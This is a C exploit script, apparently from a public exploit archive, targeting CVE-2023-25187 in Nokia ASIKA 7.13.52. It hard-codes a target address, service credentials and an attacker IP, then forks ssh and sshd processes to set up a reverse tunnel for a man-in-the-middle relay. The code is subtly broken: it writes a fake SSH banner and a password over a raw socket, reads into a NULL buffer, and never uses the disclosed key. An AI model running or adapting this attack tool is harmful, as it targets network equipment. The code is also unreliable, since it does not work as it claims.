// Exploit Title: Nokia ASIKA 7.13.52 - Hard-coded private key disclosure // Date: 2023-06-20 // Exploit Author: Amirhossein Bahramizadeh // Category : Hardware // Vendor Homepage: https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25187/ // Version: 7.13.52 (REQUIRED) // Tested on: Windows/Linux // CVE : CVE-2023-25187 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <signal.h> // The IP address of the vulnerable device char *host = "192.168.1.1"; // The default SSH port number int port = 22; // The username and password for the BTS service user account char *username = "service_user"; char *password = "password123"; // The IP address of the attacker's machine char *attacker_ip = "10.0.0.1"; // The port number to use for the MITM attack int attacker_port = 2222; // The maximum length of a message #define MAX_LEN 1024 // Forward data between two sockets void forward_data(int sock1, int sock2) { char buffer[MAX_LEN]; ssize_t bytes_read; while ((bytes_read = read(sock1, buffer, MAX_LEN)) > 0) { write(sock2, buffer, bytes_read); } } int main() { int sock, pid1, pid2; struct sockaddr_in addr; char *argv[] = {"/usr/bin/ssh", "-l", username, "-p", "2222", "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-i", "/path/to/private/key", "-N", "-R", "2222:localhost:22", host, NULL}; // Create a new socket sock = socket(AF_INET, SOCK_STREAM, 0); // Set the address to connect to memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); inet_pton(AF_INET, host, &addr.sin_addr); // Connect to the vulnerable device if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { fprintf(stderr, "Error connecting to %s:%d: %s\n", host, port, strerror(errno)); exit(1); } // Send the SSH handshake write(sock, "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10\r\n", 42); read(sock, NULL, 0); // Send the username write(sock, username, strlen(username)); write(sock, "\r\n", 2); read(sock, NULL, 0); // Send the password write(sock, password, strlen(password)); write(sock, "\r\n", 2); // Wait for the authentication to complete sleep(1); // Start an SSH client on the attacker's machine pid1 = fork(); if (pid1 == 0) { execv("/usr/bin/ssh", argv); exit(0); } // Start an SSH server on the attacker's machine pid2 = fork(); if (pid2 == 0) { execl("/usr/sbin/sshd", "/usr/sbin/sshd", "-p", "2222", "-o", "StrictModes=no", "-o", "PasswordAuthentication=no", "-o", "PubkeyAuthentication=yes", "-o", "AuthorizedKeysFile=/dev/null", "-o", "HostKey=/path/to/private/key", NULL); exit(0); } // Wait for the SSH server to start sleep(1); // Forward data between the client and the server pid1 = fork(); if (pid1 == 0) { forward_data(sock, STDIN_FILENO); exit(0); } pid2 = fork(); if (pid2 == 0) { forward_data(STDOUT_FILENO, sock); exit(0); } // Wait for the child processes to finish waitpid(pid1, NULL, 0); waitpid(pid2, NULL, 0); // Close the socket close(sock); return 0; }